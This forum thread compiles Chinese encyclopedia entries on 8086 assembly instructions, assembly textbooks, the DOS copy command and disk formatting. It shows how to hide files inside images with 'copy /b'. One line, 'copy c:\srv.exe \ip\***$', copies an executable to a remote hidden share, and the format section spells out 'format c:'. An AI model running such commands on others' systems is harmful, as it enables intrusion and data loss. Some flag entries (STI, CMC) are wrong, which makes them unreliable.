格式:JBE(或JNA)OPR

测试条件:CFVZF=1

.JNBE(或JA)(Jumpifnotbeloworequal,orabove)不低于或等于,或者高于则转移

格式:JNBE(或JA)OPR

测试条件:CFVZF=0

四比较两个带符号数,并根据比较的结果转移

指令        英文全拼        翻译
JL/LNGE        Jumpifless,ornotgreaterorequal        小于,或者不大于或者等于则转移
JNL/JGE        Jumpifnotless,orgreaterorequal        不小于,或者大于或者等于则转移
JLE/JNG        Jumpiflessorequal,ornotgreater        小于或等于,或者不大于则转移
JNLE/JG        Jumpifnotlessorequal,orgreater        不小于或等于,或者大于则转移
.JL(或LNGE)(Jumpifless,ornotgreaterorequal)小于,或者不大于或者等于则转移

格式:JL(或JNGE)OPR

测试条件:SFVOF=1

.JNL(或JGE)(Jumpifnotless,orgreaterorequal)不小于,或者大于或者等于则转移

格式:JNL(或JGE)OPR

测试条件:SFVOF=0

.JLE(或JNG)(Jumpiflessorequal,ornotgreater)小于或等于,或者不大于则转移

格式:JLE(或JNG)OPR

测试条件:(SFVOF)VZF=1

.JNLE(或JG)(Jumpifnotlessorequal,orgreater)不小于或等于,或者大于则转移

格式:JNLE(或JG)OPR

测试条件:(SFVOF)VZF=0

五测试CX的值为0则转移指令

.JCXZ(JumpifCXregisteriszero)CX寄存器的内容为零则转移

格式:JCXZOPR//CX==0时转移

测试条件:(CX)=0

注:条件转移全为8位短跳!

六循环指令

LOOP(LOOP)循环指令

格式:LOOPOPR

测试条件:CX≠0//OPR在程序中实际是个标号

.LOOPNZ/LOOPNE当不为零或不相等时循环指令

格式:LOOPNZ(或LOOPNE)OPR

测试条件:(CX)<>0且ZF=0

注:这三条指令的步骤是:

1)(CX)<-(CX)-1

2)检查是否满足测试条件,如满足则(IP)<-(IP)+D8的符号扩充。

过程调用及返回指令
CALL(CALL)过程调用指令

格式:CALLDST//DST在程序中实际是子程序标号

执行操作:先将过程的返回地址(即CALL的下一条指令的首地址)存入堆栈,然后转移到过程入口地址执行子程序。

调用方式        格式        断点保护入栈情况        过程入口地址
段内直接        CALLNEARPTRPR1        (SP-1)(SP-2)←IP,CS不进栈CS值保持不变        IP←DST
段内间接        CALLWORDPTR(EA)        (SP-1)(SP-2)←IP,CS不进栈CS值保持不变        IP←(EA)
段间直接        CALLFARPTRPR1        (SP-1)(SP-2)←CS,(SP-3)(SP-4)←IP        IP←DST偏移地址CS←DST段地址
段间间接        CALLDWORDPTR(EA)        (SP-1)(SP-2)←CS,(SP-3)(SP-4)←IP        IP←(EA),CS←(EA+2)
注:为了表明是段内调用,可使用NEARPTR属性操作符作说明。

RET(RETurn)子程序返回指令

格式:RET

RETEXP//带立即数返回

注:子程序返回指令RET放在子程序末尾,它使子程序在执行完全部任务后返回主程序继续执行被打断后的程序。返回地址在子程序调用时入栈保存的断点地址-IP或IP和CS.

中断指令
.INT指令

格式:INTTYPE

或INT

执行的操作:(SP)<-(SP)-2

((SP)+1,(SP))<-(PSW)

(SP)<-(SP)-2

((SP)+1,(SP))<-(CS)

(SP)<-(SP)-2

((SP)+1,(SP))<-(IP)

(IP)<-(TYPE*4)

(CS)<-(TYPE*4+2)

.INTO若溢出则中断

执行的操作:若OF=1则:

(SP)<-(SP)-2

((SP)+1,(SP))<-(PSW)

(SP)<-(SP)-2

((SP)+1,(SP))<-(CS)

(SP)<-(SP)-2

((SP)+1,(SP))<-(IP)

(IP)<-(10H)

(CS)<-(12H)

.IRET从中断返回指令

格式:IRET

执行的操作:(IP)<-((SP)+1,(SP))

(SP)<-(SP)+2

(CS)<-((SP)+1,(SP))

(SP)<-(SP)+2

(PSW)<-((SP)+1,(SP))

(SP)<-(SP)+2

处理机控制指令
一标志处理指令

指令        英文全拼        翻译       
CLC        Clearcarry        进位位置0指令        CF<-0
CMC        Complementcarry        进位位求反指令        CF<-CF
STC        Setcarry        进位位置1指令        CF<-1
CLD        Cleardirection        方向标志置0指令        DF<-0
STD        Setdirection        方向标志置1指令        DF<-1
CLI        Clearinterrupt        中断标志置0指令        IF<-0
STI        Setinterrupt        中断标志置1指令        IF<-0
二其他处理机控制指令

指令        英文全拼        翻译
NOP        NoOpreation        无操作
HLT        Halt        停机
WAIT        Wait        等待
ESC        Escape        换码
LOCK        Lock        封锁
处理器控制指令

CLC(CLearCarry)进位位置0指令

格式:CLC//执行操作后,CF=0

CMC(CoMplementCarry)进位位求反指令

格式:CMC//执行操作后,CF=!CF

STC(SeTCarry)进位位置1指令

格式:STC//执行操作后,CF=1

HLT(HaLT)停机指令

格式:HLT

执行操作:使机器暂停工作,使处理器CPU处于停机状态,以等待一次外部中断到来,中断结束后,程序继续执行,CPU继续工作。

注:该指令可使机器暂停工作,使处理机处于停机状态以便等待一次外部中断到来,中断结束后可继续执行下面的程序。

NOP(NoOperetion)无操作指令

格式:NOP//此指令不执行任何操作,其机器码占一个字节单元

该指令不执行任何操作,其机器码占有一个字节,在调试程序时往往用这条指令占有一定的存储单元,以便在正式运行时用其他指令取代。

.WAIT等待指令

该指令使处理机处于空转状态,它也可以用来等待外部中断的发生,但中断结束后仍返回WAIT指令继续执行。

.ESC换码指令

格式ESCmem

其中mem指出一个存储单元,ESC指令把该存储单元的内容送到数据总线去。当然ESC指令不允许使用立即数和寄存器寻址方式。这条指令在使用协处理机(Coprocessor)执行某些操作时,可从存储器指得指令或操作数。协处理机(如8087)则是为了提高速度而可以选配的硬件。

.LOCK封锁指令

该指令是一种前缀,它可与其他指令联合,用来维持总线的锁存信号直到与其联合的指令执行完为止。当CPU与其他处理机协同工作时,该指令可避免破坏有用信息。

十进制调整指令
当计算机进行计算时,必须先把十进制数转换为二进制数,再进行二进制数运算,最后将结果又转换为十进制数输出。

在计算机中,可用4位二进制数表示一位十进制数,这种代码称为BCD(BinaryCodedDecimal).

BCD码又称8421码,在PC机中,BCD码可用压缩的BCD码和非压缩的BCD码两种格式表示。

压缩的BCD码用4位二进制数表示一个十制数,整个十进数形式为一个顺序的以4位为一组的数串。

非压缩的BCD码以8位为一组表示一个十进制数,8位中的低4位表示8421的BCD码,而高4位则没有意义。

指令        英文全拼        翻译
DAA        DecimalAdjustforAddition        加法的十进制调整指令
DAS        DecimalAdjustforSubtraction        减法的十进制调整指令
AAA        ASCIIAdjustforAddition        加法的ASCII调整指令
AAS        ASCIIAdjustforSubtraction        减法的ASCII调整指令
DAA(DecimalAdjustforAddition)加法的十进制调整指令

格式:DAA

执行操作:执行之前必须先执行ADD或ADC指令,加法指令必须把两个压缩的BCD码相加,并把结果存话在AL寄存器中。

DAS(DecimalAdjustforSubtraction)减法的十进制调整指令

格式:DAS

执行操作:执行之前必须先执行SUB或SBB指令,减法指令必须把两个压缩的BCD码相减,并氢结果存放在AL寄存器中。

非压缩的BCD码调整指令

AAA(ASCIIAdjustforAddition)加法的ASCII调整指令

格式:AAA

执行操作:执行之前必须先执行ADD或ADC指令,加法指令必须把两个非压缩的BCD码相加,并把结果存话在AL寄存器中。

AAS(ASCIIAdjustforSubtraction)减法的ASCII调整指令

格式:AAS

执行操作:执行之前必须先执行SUB或SBB指令,减法指令必须把两个非压缩的BCD码相减,并氢结果存放在AL寄存器中。

执行操作:[DI]=[SI],将位于DS段的由SI所指出的存储单元的字节或字传送到位于ES段的由DI所指出的存储单元,再修改SI和DI,从而指向下一个元素。

在执行该指令之前,必须预置SI和DI的初值,用STD或CLD设置DF值。

格式:MOVSDST,SRC//同上,不常用,DST和SRC只是用来用类型检查,并不允许使用其它寻址方式来确定操作数。

1.目的串必须在附加段中,即必须是ES:[DI]

2.源串允许使用段跨越前缀来修饰,但偏移地址必须是[SI].

6 相关教材 编辑
《80x86汇编语言基础教程》
基本信息

教材名称:《80X86汇编语言基础教程》

ISBN编号:9787111253822

出版时间:2009-3-1

出版社:机械工业出版社

页数:213

版次印次:1

作者:(美)德特默(Detmer,R.C.)著,郑红,陈丽琼译

开本:16开

装帧:平装

印数:1

内容简介

学会一门具体的汇编语言对理解计算机体系结构是非常有益的,然而,许多关于计算机组成和体系结构的教材对这方面的知识介绍得不多。《80x86汇编语言基础教程(附光盘)》主要针对Intel80x86体系结构介绍汇编语言知识,因此既是计算机组成和体系结构课程的很好的补充教材,同时也适合作为单独的汇编语言课程教材。通过《80x86汇编语言基础教程(附光盘)》的学习,学生能够使用微软的MASM汇编器来编译32位的平面存储模式程序,并在微软的Windbg调试器控制下跟踪程序指令的执行,从中了解计算机内部存储器和寄存器内容的变化。《80x86汇编语言基础教程(附光盘)》附带的软件包为编写和调试控制台应用程序提供了很好的环境。

目录

出版者的话

前言

第1章计算机中数的表示

第2章软件工具和汇编语言语法

第3章基本指令

第4章分支与循环

第5章过程

第6章位运算

第7章浮点运算

附录A十六进制/ASC码转换

附录B有用的MS-DOS命令

附录CMASM6.11保留字

附录D80x86指令(按助记符排列)

附录E80x86指令(按操作码排列)

《汇编语言》
基本信息

教材名称:《汇编语言》(第2版)

ISBN编号:9787302172284

出版时间:2008-4-1

出版社:清华大学出版社

页数:337

版次印次:2

作者:王爽著

开本:16开

装帧:平装

印数:1

字数:527000

内容简介

汇编语言是各种CPU提供的机器指令的助记符的集合,人们可以用汇编语言直接控制硬件系统进行工作。汇编语言是很多相关课程(如数据结构、操作系统、微机原理等)的重要基础。为了更好地引导、帮助读者学习汇编语言,作者以循序渐进的思想精心创作了这本书。本书具有如下特点:采用了全新的结构对课程的内容进行组织,对知识进行最小化分割,为读者构造了循序渐进的学习线索;在深入本质的层面上对汇编语言进行讲解;对关键环节进行深入的剖析。

本书可用作大学计算机专业本科生的汇编教材及希望深入学习计算机科学的读者的自学教材。

目录

第1章基础知识

第2章寄存器

第3章寄存器(内存访问)

第4章第一个程序

第5章[BX]和loop指令

第6章包含多个段的程序

第7章更灵活的定位内存地址的方法

第8章数据处理的两个基本问题

第9章转移指令的原理

第10章CALL和RET指令

第11章标志寄存器

第12章内中断

第13章int指令

第14章端口

第15章外中断

第16章直接定址表

第17章使用BIOS进行键盘输入和磁盘读写

综合研究

附注

《新版汇编语言程序设计》
基本信息

教材名称:《新版汇编语言程序设计》

ISBN编号:9787121026966

出版时间:2007-01-01

出版社:电子工业出版社

作者:钱晓捷主编

装帧:平装

字数:563200

内容简介

本书以Intel80x86指令系统和MASM6.x为主体,全面而系统地介绍16/32位整数、浮点、多媒体指令的汇编语言程序设计方法。全书可分为基础和提高两部分。前5章作为基础部分,以当前“汇编语言程序设计”课程的教学为目标,为读者讲解16位基本整数指令及其汇编语言程序设计的知识。基础部分的主要内容是:汇编语言程序设计的基础知识,8086指令详解,MASM伪指令和操作符,程序格式,程序结构及其设计方法。后4章为提高部分,从不同的方面介绍汇编语言程序设计的深入内容和实际应用知识。提高部分各章的内容相对独立,主要有:32位80x86CPU的整数指令系统及其编程,汇编语言与C/C++的混合编程,80x87FPU的浮点指令系统及其编程,多媒体扩展指令系统及其编程,64位指令简介。本书可作为高等院校《汇编语言程序设计》课程的教材或参考书,主要读者为计算机及相关学科的本科和高职、高专学生。本书内容广博、语言浅显、结构清晰、实例丰富,也适合于电子、自动控制等专业的高校学生和成教学生,计算机应用开发人员,深入学习微机应用技术的普通读者等。

目录

第1章汇编语言基础知识

第2章8086的指令系统

第3章汇编语言程序格式

第4章基本汇编语言程序设计

第5章高级汇编语言程序设计

第6章32位指令及其编程

第7章汇编语言与C/C++的混合编程

第8章80x87浮点指令及其编程

第9章多媒体指令及其编程

第10章64位指令简介

附录A调试程序CodeView

附录B汇编程序MASM的伪指令和操作符

附录C80x86整数指令系统

附录D输入输出子程序库IO.LIB

参考文献

《汇编语言程序设计》
基本信息

产品名称:《汇编语言程序设计》

ISBN编号:9787111272601

出版时间:2009-10-1

出版社:机械工业出版社

页数:340

版次印次:1

作者:何超主编

开本:16开

装帧:平装

印数:1

字数:544000

内容简介

本书共8章,主要讨论汇编语言的编程基础、程序开发过程和调试方法。

本书的主要特点是通俗易懂,遵循由浅入深、由简到繁、循序渐进的原则。力争改变汇编语言难学难教的状况。与本书配套的《汇编语言程序设计实验与习题解答》一书另行出版,该书包含详尽的汇编语言程序设计实验和本书所有习题的解答。本书既可作为高等院校信息类(如计算机、自动控制、电工电子等)专业的本科教材,也可作为工程技术人员的参考书。

目录

出版说明

前言

第1章汇编语言的基本概念

第2章汇编语言程序中的指令与伪指令

第3章汇编语言程序设计初步

第4章子程序设计

第5章汇编语言程序的应用示例

第6章输入输出和中断处理

第7章宏和多模块程序设计

第8章汇编语言程序开发与调试

附录

参考文献

参考资料:
1.
汇编   
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
2.
汇编   
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
3.
汇编   
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
作者: zzz19760225     时间: 2016-2-6 05:06    标题: 6DOS命令copy百度 7楼

copy
编辑词条
该词条缺少词条分类,补充相关内容帮助词条更加完善!立刻编辑>>

Copy,通常音译为"拷贝",意译为"复制",是DOS下最常用的拷贝命令。DOS下面用一条COPY命令同时复制几个文件的命令。一个很容易见名知意的命令,它的作用是复制文件,用法十分简单:copy源文件、目的路径。
中文名称        拷贝
dos        拷贝 命令
外文名        copy       
外文名称        copy
作 用        复制文件
中文名        拷贝


1基本简介
2用法命令
3例举说明
4命令加密
加密条件
加密工作
5补充内容
6其他意思
1 基本简介 编辑
copy是一个很基础的DOS命令,也许在如今已经很少有人使用,但作为一个非常重要的基础命令,仍然需要掌握。上面关于copy命令的介绍纯属于windows下的简介,既然在cmd中输入copy /?就可以得到,那上面的这些又有什么真正的作用呢?对于这种比较专业的命令,还是多举举例子比较好让新手理解。

2 用法命令 编辑
COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]。

[+ source [/A | /B] [+ ...]] [destination [/A | /B]]source 指定要复制的文件。

/A 表示一个 ASCII 文本文件。

/B 表示一个二进位文件。/D 允许解密要创建的目标文件。

destination 为新文件指定目录和/或文件名。

/V 验证新文件写入是否正确。

/N 复制带有非 8dot3 名称的文件时,尽可能使用短文件名。

/Y 不使用确认是否要覆盖现有目标文件的提示。

/-Y 使用确认是否要覆盖现有目标文件的提示。

/Z 用可重新启动模式复制已联网的文件。命令行开关 /Y 可以在 COPYCMD环境变量中预先设定。这可能会被命令行上的 /-Y 替代。除非 COPY命令是在一个批处理脚本中执行的,默认值应为在覆盖时进行提示。要附加文件,请为目标指定一个文件,为源指定数个文件(用通配符或 file1+file2+file3 格式)。

首先,在我的电脑D盘建立一个文件,例如1.txt,最好在其中写入一些数据。另一台互联的机器,机器名为test,上面有一个共享文件夹tool,当然要开通用户在test和共享文件夹上的权限。

注意:

1.一台机器内,一个磁盘内的文件复制:命令copy D:\1.txt D:\2.txt 注意后面的2.txt不能省略,省略默认为建立一个原来相同文件名的文件,所以不能实现。

2.一台机器内,不同磁盘间的文件复制:命令copy D:\1.txt E: 这样就会在E盘看到拷贝的1.txt了 。

3.不同机器间的文件复制:相当于上传与下载。

上传命令copy D:\1.txt\\test\D$这样就可以在test机器的D盘看到1.txt了。

也可以输入:copy D:\1.txt\\test\tool这样在共享文件夹tool中也可以看到1.txt了。

下载命令,需要先在test上的D盘建立文件2.txt ,再在tool里建立一个3.txt。

输入copy\\test\D$\2.txt D:\ 即可将test上D盘的2.txt下载到本地D盘。

输入copy\\test\tool\3.txt D: 即可将tool文件夹下的3.txt下载到本地D盘。

注:这里的D:\ 和 D: 在后面不跟子目录时作用是一样的。[1]

3 例举说明 编辑
例子1:要将文件Memo.doc复制到当前目录中的Letter.doc。[2]

执行以下命令:

copy memo.doc letter.doc

例子2:要将文件Memo.doc从当前驱动器的当前目录复制到位于驱动器C上的现有目录System中。

执行以下命令:

copy Memo.doc c:\system

如果System目录不存在,Memo.doc文件将被复制到驱动器C的磁盘根目录下名为System的文件中。

例子3:要将位于当前驱动器的当前目录中的Mar89.zip、Apr89.zip以及May89.zip合并,并将它们放在当前驱动器的当前目录下名为Report的文件中。

执行以下命令:

copy mar89.zip + apr89.zip + may89.zip report

例子4:要将所有的四个文件合并进Report,而且已有名为Report的文件。

执行以下命令:

copy report + mar89.rpt + apr89.rpt + may89.rpt

例子5:在当前驱动器的当前目录中,要将所有具有.txt扩展名的文件合并进名为Combin.doc的文件中。

执行以下命令:

copy *.txt combin.doc

此时,打开Combin.doc文件,你会发现,该文件已将*.txt文件的所有内容合并为一篇文档。

例子6:COPY命令将每个带有.txt扩展名的文件和它对应的.ref文件合并起来。结果是文件名相同但扩展名为.doc的文件。COPY将File1.txt与File1.ref合并形成File1.doc,然后copy将File2.txt与File2.ref合并形File2.doc,如此等等。

执行以下命令:

copy *.txt + *.ref *.doc

例子7:要合并所有具有.txt扩展名的文件,然后合并所有具有.ref扩展名的文件,并将合并结果置Combin.doc文件中.

执行以下命令:

copy *.txt + *.ref combin.doc

4 命令加密 编辑
加密条件
准备一个EXE执行文件,或者是图片的文档,和一个自已想隐藏的TXT文档(也可以隐藏ZIP,RAR文件),要求在同一目录下。

分别用hello.jpg和123.txt作讲解,保存为gif,保存后命名为sky,已经把这两个文件放到D盘的根目录下了。

加密工作
准备工作做好了进入CMD 使用CMD进入需要合并的文件的目录下(输入D:即可进入d盘根目录),文件都放到了D盘根目录下,所以只进到D盘就可以了。

进到目录下输入: copy hello.jpg/b + 123.txt/a sky.gif

复制成功了,合并后的文件命名为sky了,用看图软件打开sky.gif看上去跟原图片没有什么区别,但是记事本打开看就不同了,打开记事本,直接把sky.gif图片拖进去,出现一堆乱码,不过没关系,此时打到文档末尾(直接按Ctrl+End),看到了吧,最下面的那些内容是123.txt里的内容,这种方法是不是一种隐藏自己隐私的好方法呢。

如果隐藏的是ZIP,RAR压缩包文件,将sky.gif的后缀名更改为RAR,或ZIp,即可得到所隐藏的压缩包。

5 补充内容 编辑
copy c:\srv.exe \ip\***$ 意思 是复制srv.exe到对方IP下的***下

copy \ip\***$\srv.exe c:\ 意思是复制对方***i.exe文件至本地c:\

还有上面说的123.txt文件里面的文本开头最好空三个空格,以免头几个字符被覆盖掉,其中参数/b指定以二进制格式复制、合并文件;参数/a指定以ASCII格式复制、合并文件。这里要注意文件的顺序,二进制格式的文件应放在加号前,文本格式的文件放在加号后。

6 其他意思 编辑
在英文中

n. 1. 复制本, 副本2. 一份, 一册3. 准备排印的书面材料4. (报刊等的)稿件;(可用于报纸文章或广告的)消息,信息。

vt. & vi. 1. 复制; 抄写2. 作弊;抄袭。

vt. 1. 模仿, 仿效2. 抄写;誊写。

在无线电中

词组: copy that常表示收到的意思. 在多种FPS游戏的无线电, 二战无线电, 动作战争电影里 多次出现、使用。copy在无线通信口语中常作为平级接收,表示为收到、照做。如果作为下线对上级(如:塔台、指挥机舰、上级单位等)通信的接收则用roger that,copy与roger在此类无线通信口语中应该注意区分。

快捷方式 ctrl+c

PHP中

语法copy(source,destination)

参数

描述

source        必需,规定要复制的文件
destination        必需,规定复制文件的目的地
说明:将文件从source拷贝到destination。如果成功则返回 TRUE,否则返回 FALSE。

参考资料:
1.
Linux命令:cp (copy)复制文件或目录
http://www.kuqin.com/linux/20090820/67125.html
2.
copy资料
http://dict.hjenglish.com/w/copy
扩展阅读:
1.
cmd copy命令 文件复制
http://www.jb51.net/article/18981.htm
2.
巧用COPY命令加密文本文件
http://arch.pconline.com.cn//pcedu/teach/os/10309/220595.html
作者: zzz19760225     时间: 2016-2-7 01:52
格式化
编辑词条
“format”一般是指“格式化(格式化)”

该词条缺少基本信息栏、词条分类,补充相关内容帮助词条更加完善!立刻编辑>>

[1]格式化是指对磁盘或磁盘中的分区(partition)进行初始化的一种操作,这种操作通常会导致现有的磁盘或分区中所有的文件被清除。格式化通常分为低级格式化和高级格式化。如果没有特别指明,对硬盘的格式化通常是指高级格式化,而对软盘的格式化则通常同时包括这两者。


1基本介绍
2技术种类
3区别低级
4操作方法
5杀毒作用
1 基本介绍 编辑
  [2]格式化,简单说,就是把一张空白的盘划分成一个个小区域并编号,供计算机储存,读取数据。没有这个工作,计算机就不知在哪写,从哪读。

  格式化这一概念原只应用于电脑硬盘,随着电子产品不断发展,很多存储器都用到了“格式化”这一名词,狭义的理解,就等于数据清零,删掉存储器内的所有数据,并将存储器恢复到初始状态。


格式化  硬盘必须先经过分区才能使用,磁盘经过分区之后,下一个步骤就是要对硬盘进行高级格式化(FORMAT)的工作,硬盘都必须格式化才能使用。

  格式化是在磁盘中建立磁道和扇区,磁道和扇区建立好之后,电脑才可以使用磁盘来储存数据。

  什么是格式化:这里我们用一个形象的比喻:假如硬盘是一间大的清水房,我们把它隔成三居室(分成三个区);但是我们还不能马上入住,之前还必须对每个房间进行清洁和装修,那么这里的格式化就是“清洁和装修”这一步了!另外,硬盘使用前的高级格式化还能识别硬盘磁道和扇区有无损伤,如果格式化过程畅通无阻,硬盘一般无大碍。

不妨称为格式-化,按照特定格式应用在其他词组语句中(领域应用广泛简如公式)

例:a*a/q

1*1/9

2 技术种类 编辑
简单地说,格式化就是为磁盘做初始化的工作,以便我们能够按部就班地往磁盘上记录资料。好比我们有一所大房子要用来存放书籍,我们不会搬来书往屋里地上一扔了事,而是要先在里面支起书架,标上类别,把书分门别类地放好。

我们新购买的磁盘在使用之前,要能让操作系统认得它,要先写入一些磁性的记号到磁盘上的每一扇区,便可在该操作系统下取用磁盘上的数据,这个动作就称为格式化。

低级格式化

低级格式化(Low-Level Formatting)又称低层格式化或物理格式化(Physical Format),对于部分硬盘制造厂商,它也被称为初始化(initialization)。最早,伴随着应用CHS编址方法、频率调制(FM)、改进频率调制(MFM)等编码方案的磁盘的出现,低级格式化被用于指代对磁盘进行划分柱面、磁道、扇区的操作。现今,随着软盘的逐渐退出日常应用,应用新的编址方法和接口的磁盘的出现,这个词已经失去了原本的含义,大多数的硬盘制造商将低级格式化(Low-Level Formatting)定义为创建硬盘扇区(sector)使硬盘具备存储能力的操作。现在,人们对低级格式化存在一定的误解,多数情况下,提及低级格式化,往往是指硬盘的填零操作。

对于一张标准的1.44 MB软盘,其低级格式化将在软盘上创建160个磁道(track)(每面80个),每磁道18个扇区(sector),每扇区512位位组(byte);共计1,474,560位组。需要注意的是:软盘的低级格式化通常是系统所内置支持的。通常情况下,对软盘的格式化操作即包含了低级格式化操作和高级格式化操作两个部分。

高级格式化

高级格式化又称逻辑格式化,它是指根据用户选定的文件系统(如FAT12、FAT16、FAT32、NTFS、EXT2、EXT3等),在磁盘的特定区域写入特定数据,以达到初始化磁盘或磁盘分区、清除原磁盘或磁盘分区中所有文件的一个操作。高级格式化包括对主引导记录中分区表相应区域的重写、根据用户选定的文件系统,在分区中划出一片用于存放文件分配表、目录表等用于文件管理的磁盘空间,以便用户使用该分区管理文件。

快速格式化

在对磁盘进行格式化时,我们还有一个选择是“快速格式化”。当运行常规格式化命令时,会在当前分区的文件分配表中将分区上的每一个扇区标记为空闲可用,同时系统将扫描硬盘以检查是否有坏扇区,扫描过程中会为每一个扇区打上可用标记。扫描坏扇区的工作占据了格式化磁盘分区的大部分时间。

  如果选择的是快速格式化,那么将只从分区文件分配表中做删除标记,而不扫描磁盘以检查是否有坏扇区。只有在硬盘以前曾被格式化过并且在能确保硬盘没有损坏的情况下,才可以使用此选项。

3 区别低级 编辑
  低级格式化就是将空白的磁盘划分出柱面和磁道,再将磁道划分为若干个扇区,每个扇区又划分出标识部分ID、间隔区GAP和数据区DATA等。可见,低级格式化是高级格式化之前的一件工作,它只能够在DOS环境来完成。而且低级格式化只能针对一块硬盘而不能支持单独的某一个分区。每块硬盘在出厂时,已由硬盘生产商进行低级格式化,因此通常使用者无需再进行低级格式化操作。其实,我们对一张软盘进行的全面格式化就是一种低级格式化。

  需要指出的是,低级格式化是一种损耗性操作,其对硬盘寿命有一定的负面影响。因此,许多硬盘厂商均建议用户不到万不得已,不可“妄”使此招。当硬盘受到外部强磁体、强磁场的影响,或因长期使用,硬盘盘片上由低级格式化划分出来的扇区格式磁性记录部分丢失,从而出现大量“坏扇区”时,可以通过低级格式化来重新划分“扇区”。但是前提是硬盘的盘片没有受到物理性划伤。

  高级格式化就是清除硬盘上的数据、生成引导区信息、初始化FAT表、标注逻辑坏道等。一般我们重装系统时都是高级格式化, 所以有存在病毒的可能, 因为MBR不重写, MBR病毒可以通过杀毒软件,清除。或者。在DOS下,执行 fdisk /mbr 重写MBR 以彻底清除病毒。

  简单地说,高级格式化就是和操作系统有关的格式化,低级格式化就是和操作系统无关的格式化。

  高级格式化主要是对硬盘的各个分区进行磁道的格式 化,在逻辑上划分磁道。对于高级格式化,不同的操作系统有不同的格式化程序、不同的格式化结果、不同的磁道划分方法。

  低级格式化是物理级的格式化,主要 用于划分硬盘的磁柱面、建立扇区数和选择扇区间隔比。硬盘要先低级格式化才能高级格式化,而刚出厂的硬盘已经经过了低级格式化,无须用户再进行低级格式化了。一般,只有在十分必要的情况下,用户才需要进行低级格式化,比如说,你的硬盘坏道太多,经常导致存取数据时产生错误,甚至操作系统根本无法使 用,那么你就需要进行低级格式化了。再有如果你的硬盘上的某些和低级格式化有关的参数被病毒破坏了,如硬盘间隔系数等,那么你只有进行低级格式化重新建立 这些参数了。

  很多主板的CMOS中都提供了进行低级格式化的功能,一般在HDD Low Level Format选项中,你的主板上如果有这个选项,你就可以直接使用其中的Hard Disk Low Level Format Utility进行低级格式化。也有很多主板上没有低级格式化的功能,如果是这样的话,那你最好使用该硬盘厂商提供的硬盘管理、低级格式化程序。也有一般通用的低级格式化程序,如DM(Disk Manager),PC-Tools等,如果你的硬盘是比较标准的,也可以使用这些工具进行低级格式化。

4 操作方法 编辑
一、在DOS环境下

在DOS环境下,有多种软件可以执行格式化的操作,系统通常也以外部命令的形式提供一个命令行界面的格式化软件“Format”。

Format命令的参数包括将被执行格式化的磁盘,以及一些其他次要参数,如簇的大小、文件系统的格式等。[3]

Format命令通常的格式是:Format X:(X为所希望被执行格式化操作的盘符,如希望格式化C碟,则将X替换为C,如此类推。 加入"Q"参数可以执行快速格式化。

二、在Windows/DOS 系统下的格式化

  在Windows和DOS操作系统下,都有格式化Format的程序,不过,一旦进行格式化硬盘的工作,硬盘中的数据可是会全部不见喔!所以进行这个动作前,先确定磁盘中的数据是否还有需要,如果是的话先另行备份吧。

  如果用对硬盘的C:区进行格式化键入格式如下:

  [ ]内可填入参数,建议大家一般不要填加参数。

  直接键入format C: ,然后回车就可以了,因为对一般人来说填加参数意义不大。

FORMAT最主要、最常用的参数:

  /u 对硬盘进行破坏性格式化,如果不填加此参数,硬盘根目录下将产生一个隐藏的MIRROR映像文件,如果未进行其它硬盘操作,可以用UNFORMAT 恢复原来的硬盘内容,当然最好在格式化硬盘之前,将需要备份的数据等先备份好。


格式化  /s 格式化之后将DOS系统文件复制到硬盘根目录,填加此项参数,硬盘可以启动至C: 的状态,这在DOS时代非常有用,现在已经没有什么实际意义了。

  /c 格式化硬盘的同时检查硬盘扇区并修复坏扇区,这种修复并不十分可靠,还会影响格式化的速度。

  /v [label] 格式化后给硬盘加上[ ]内的卷标(名字)。

  /q 快速格式化还有一些不常用的参数,就不一一介绍了。

  我们仍需用WINDOWS98的启动盘,将其插入计算机的A驱动器,然后打开计算机,按1键,按回车,十几秒后屏幕将出现A: ,因为我们硬盘有3个分区,所以键入f: ,回车,屏幕变成F: (如果是2个分区就键入e: 回车,如果4个分区,就键入g: ,回车,以此类推)键入format c: 回车,出现下面提示。

  WARNING , ALL DATA ON NON-REMOVABLE DISK

  DRIVE C: WILL BE LOST!

  Proceed with Format (Y/N)n

  意思是说危险,C区数据将丢失,是否格式化?

  我们按Y,回车,这时会出现一个进度数字指示,从1开始到99结束,格式化5G硬盘,如果计算机的配置高的化,2分钟左右可以结束,配置低则也可能要用5、6分钟,也许更慢些,但如果很长时间,进度数字不动的话,则硬盘有问题,需要更换或维修。

  当进度数字闪过99后,出现下面的提示。

  Volume label ( 11 characters , ENTER for none)?

  意思是让我们给硬盘起个卷标,也就是名字,如果直接回车,则没有卷标名称。

  然后会出现格式化完成后,硬盘空间的列表,会告诉我们硬盘的总容量,可用空间,系统占用空间,坏扇区占用空间,卷标,剩余空间等数据,并回到了F:/ 的状态,这说明我们已经成功的完成了格式化C分区的格式化,然后还按上面的步骤依次完成对D:区和E:区的格式化工作。

  格式化:指对磁盘进行使用前的预处理以便存入数据。一般而言,新盘是必须格式化的,而使用过的旧盘也可以格式化,格式化后磁盘上全部数据将被删除。

  注意:硬盘的格式化是一项非常危险的操作,建议提前备份重要数据,如果没有及时备份就格的用户可以在格式化(高级格式化)后用户可以用一些恢复软件来恢复重要数据,但是全区恢复的前提是没对格的分区写入任何内容。如果写进内容了,就可能不全部恢复了,但还是能恢复部分数据!

  快速格式化

  在对磁盘进行格式化时,我们还有一个选择是“快速格式化”。

  当运行常规格式化命令时,会在当前分区的文件分配表中将分区上的每一个扇区标记为空闲可用,同时系统将扫描硬盘以检查是否有坏扇区,扫描过程中会为每一个扇区打上可用标记。扫描坏扇区的工作占据了格式化磁盘分区的大部分时间。

  如果选择的是快速格式化,那么将只从分区文件分配表中做删除标记,而不扫描磁盘以检查是否有坏扇区。只有在硬盘以前曾被格式化过并且在能确保硬盘没有损坏的情况下,才可以使用此选项。

  数据安全性

  理论上讲,高级格式化(不论是快速还是普通形式)并没有真正从磁盘上删除数据,它只是给数据所在的磁盘扇区的开头部分写入了一种特殊的删除标记,告诉系统这里可以写入新的数据。只要在格式化后没有立刻用全新的数据覆盖整个硬盘,那么原来的数据还会好端端在那里,只需要一些特定的软件即可恢复原来的数据。

  相反地,低级格式化所做的是将磁盘上的每一个扇区用“00”覆盖,这将完全地破坏硬盘上的所有数据,不再有恢复的可能。

  格式化能清除硬盘上的病毒么?

  是的。只要针对某个分区的格式化命令被执行,这个分区上的一切现有数据就被标记为不可读。病毒作为一种程序文件自然也就看不到了,当然也就不可能再运行。

